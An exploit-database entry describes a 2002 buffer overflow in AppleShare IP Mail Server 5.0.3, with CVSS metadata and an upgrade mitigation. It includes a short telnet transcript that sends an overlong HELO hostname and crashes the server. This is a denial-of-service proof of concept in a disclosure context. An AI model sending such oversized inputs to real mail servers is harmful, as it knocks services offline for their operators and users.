header-logo
Suggest Exploit
vendor:
AppleShare IP Mail Server
by:
SecurityFocus
7.5
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: AppleShare IP Mail Server
Affected Version From: 5.0.3
Affected Version To: 5.0.3
Patch Exists: YES
Related CWE: N/A
CPE: a:apple:appleshare_ip_mail_server:5.0.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2002

Buffer Overflow in AppleShare IP Mail Server 5.0.3

If a user connects to the SMTP port and issues a HELO command with a large string (500 bytes or more) for a hostname, the server, and possibly the whole machine, will crash.

Mitigation:

Upgrade to the latest version of AppleShare IP Mail Server.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/61/info

There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port 
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ]

Navigation

Suggest Exploit

Services By CQR